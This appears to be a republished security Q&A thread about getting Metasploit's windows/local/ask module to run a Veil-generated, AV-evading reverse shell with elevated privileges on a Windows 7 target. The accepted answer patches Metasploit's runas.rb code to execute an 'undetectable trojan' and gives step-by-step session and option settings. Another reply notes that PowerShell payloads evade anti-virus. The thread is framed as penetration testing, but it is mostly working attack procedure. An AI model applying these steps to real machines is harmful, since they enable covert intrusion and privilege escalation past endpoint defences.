Custom Metasploit payload with UAC bypass

Home / Custom Metasploit payload with UAC bypass
15 Nov

Custom Metasploit payload with UAC bypass

The machine I am attacking has anti-virus installed.

I have managed to use Veil Framework in order to create an initial reverse shell payload that is undetected by the AV. However, UAC is enabled on the Windows 7 target.

I am trying to use Metasploit’s exploit/windows/local/ask in order to prompt the user, in the hope that they click yes to allow the payload to create another reverse shell with elevated privileges.

However, the default metasploit payloads are detected by the AV so I have used the payload/generic/custom to set PAYLOADFILE to my Veil generated .exe. However, I get the following error message when running the exploit:

msf exploit(ask) > exploit 

[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[-] Exploit failed: NoMethodError undefined method `length' for nil:NilClass

I realise that there are other ways to bypass UAC:

  • exploit/windows/local/bypassuac
  • exploit/windows/local/bypassuac_injection

Although as part of this pen testing experiment I want the end user to allow the payload manually.

Is my syntax correct for the exploit:

msf exploit(ask) > show options 

Module options (exploit/windows/local/ask):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME                    no        File name on disk
   PATH                        no        Location on disk, %TEMP% used if not set
   SESSION    4                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)


Payload options (generic/custom):

   Name         Current Setting                                      Required  Description
   ----         ---------------                                      --------  -----------
   PAYLOADFILE  /usr/share/veil-output/compiled/payload_0907_cs.exe  no        The file to read the payload from
   PAYLOADSTR                                                        no        The string to use as a payload


Exploit target:

   Id  Name
   --  ----
   0   Windows

I’ve Googled the error but it appeared to return nothing relevant. I am going about this the right way?

    
shareimprove this question

 
Are you running it on the shell session? This module can only be run on a meterpreter session. github.com/rapid7/metasploit-framework/blob/… – void_in Jul 9 ’15 at 15:24
Yes, its on a meterpreter session. – SilverlightFox Jul 9 ’15 at 15:31
I’m assuming that you confirmed the payload works on the client environment? – schroeder♦ Jul 10 ’15 at 15:24
@schroeder: Yes, that payload works as is, as it is the one I used to get the initial shell. – SilverlightFox Jul 10 ’15 at 15:26

2 Answers

up vote12down voteaccepted

+100

Ran into the same issue when reproducing.

UPDATE:

When using the windows/local/ask exploit, it seems you do not need to set a payload with it. In the windows/local/ask exploit you can set a reference to the undetectabletrojan.exe, which will then be executed with elevated privileges through UAC. However, as pointed out by @SilverlightFox, the ask exploit always uses a self-generated payload which is easily detected by AV. To counter this, some changes in the /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb are required.

Code changes

  • Open /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
  • Edit the def shell_execute_exe method so that it looks as follows (pastebin): 
    def shell_execute_exe(filename = nil, path = nil)
    exe_payload = generate_payload_exe
    payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
    payload_path = path || get_env('TEMP')
    cmd_location = "#{payload_path}\#{payload_filename}"
    if filename == nil
    print_status("Uploading payload to the filesystem...")
    write_file(cmd_location, exe_payload)
    else
    print_status("Using #{payload_filename}...")
    end
    command, args = cmd_location, nil
    shell_exec(command, args)
    end
  • Reload msf

Use the exploit

The exact steps are:

  • Generate an undetectable reverse shell exe (let’s call it undetectabletrojan.exe)
  • Get a meterpreter session with no privileges
  • Upload undectabletrojan.exe via the non-privileged session (e.g. to c:\tmp)
  • Background this unprivileged session and set up a new exploit (windows/local/ask)
  • Set the following options of the windows/local/ask exploit:
    • set filename undectabletrojan.exe
    • set path c:\tmp
  • Even though you did not set a payload, you SHOULD set the LPORT and LHOST options, apparently the ask exploit always uses a windows reverse_tcp payload..
  • exploit
  • You will have a second session, privileged.

The fix is to modify /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb.

  • At line 23 it mentions print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
  • Modify this to: print_status("Uploading #{payload_filename}...")
  • Save
  • Exit msfconsole
  • Make sure to run ‘reload-all’ after restarting msfconsole

Then it worked for me, although I had to restart msfconsole a couple of times before the change came through. Let me know what it says.

shareimprove this answer
Thanks. However, it still gives me the same error, even after a reboot of my linux box. – SilverlightFox Jul 9 ’15 at 16:56
@SilverlightFox Exactly the same? So you don’t even reach line 23 (which would output something). Well you could try to insert a new ‘print_status’ command right before line 23, just for debugging purposes and to see if your modifications are active. Im pretty sure it fails there. – Michael Jul 9 ’15 at 17:07
Yes, the same. Found the bug: Line 281 of file.rb. The comment says it all *This is not binary-safe on Windows shell sessions!*. – SilverlightFox Jul 9 ’15 at 19:01
Hmm strange that it worked for me then! Anyway, thanks. – Michael Jul 9 ’15 at 19:02
Are you on the latest version? – SilverlightFox Jul 9 ’15 at 19:25
@SilverlightFox Yes, updated this morning and I went through the code on msf’s github repo to double check the bug in the ‘runas.rb’ file. Strange. I could post my exact commands tomorrow if you’d like. – Michael Jul 9 ’15 at 19:40
Let us continue this discussion in chat. – SilverlightFox Jul 10 ’15 at 10:09
@Michael I followed the tutorial you posted here and added your most recent edit to runas.rb. However, when I run the exploit I get the following error: Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operation failed: The parameter is incorrect. – dylan7 Jul 16 ’15 at 1:51
@dylan7 , I would need to check that. It’s probably better to ask a new question about that. Are you sure you already have established a meterpreter session and that you set all required parameters? – Michael Jul 16 ’15 at 17:59
@Michael I tried it again, after the target and my computer restarted. It worked for some reason. Awesome post! Thank you. – dylan7 Jul 17 ’15 at 2:20

up vote2down vote

Setting the TECHNIQUE option to PSH for Powershell appeared to solve my AV evasion problem. Anti-virus does not detect malicious Powershell code nearly as well (if at all) as executable code.

Thanks to @Michael for his answer, although exploit/windows/local/ask appeared to overwrite the manually uploaded payload with whatever was set in FILENAME during my testing so this didn’t work for me.

Michael’s answer in revision 3 didn’t work, however the code fix to the runas module in revision 5works a treat.

shareimprove this answer
“appeared to overwrite the manually uploaded payload with whatever was set in FILENAME”. That is a serious issue. Let me ask @mubix what is his take on this one since he is the author of that module. – void_in Jul 12 ’15 at 11:10
My AV didnt pick up the payload in my test environment, so i assumed it was the correct exe. However, I would need to double check. – Michael Jul 12 ’15 at 20:26
You are correct again. The runas.rb needs some more modifications: pastebin.com/F5YkuuM0. Will update my answer once more. – Michael Jul 13 ’15 at 6:43

Original Link

Comments are closed.